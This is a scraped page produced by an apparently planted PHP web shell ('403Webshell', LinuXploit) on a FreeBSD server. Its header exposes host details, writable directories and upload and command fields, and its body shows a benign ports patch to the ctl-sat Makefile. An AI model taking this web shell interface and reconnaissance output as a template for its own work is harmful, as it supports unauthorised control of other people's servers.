403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.33
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/math/ctl-sat/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/ports/math/ctl-sat/files/patch-Makefile
--- Makefile.orig	2015-01-07 10:27:59 UTC
+++ Makefile
@@ -2,26 +2,15 @@
 
 SOURCE=\
 formulas/AllTomorrow.cpp \
-formulas/AllTomorrow.h \
 formulas/AllUntil.cpp \
-formulas/AllUntil.h \
 formulas/Atom.cpp \
-formulas/Atom.h \
 formulas/Conjunction.cpp \
-formulas/Conjunction.h \
 formulas/ExistsTomorrow.cpp \
-formulas/ExistsTomorrow.h \
 formulas/ExistsUntil.cpp \
-formulas/ExistsUntil.h \
 formulas/Formula.cpp \
-formulas/Formula.h \
 formulas/Negation.cpp \
-formulas/Negation.h \
 parser/CTLParser.cpp \
-parser/CTLParser.h \
 tableau/Tableau.cpp \
-tableau/Tableau.h \
-common.h \
 main.cpp \
 
 
@@ -33,7 +22,7 @@ all: $(BINARY)
 
 $(BINARY): $(SOURCE)
 
-	g++ -march=native -mtune=generic -O3 $(SOURCE) -o $(BINARY)
+	$(CXX) $(CXXFLAGS) $(SOURCE) -o $(BINARY)
 
 clean:

Youez - 2016 - github.com/yon3zu
LinuXploit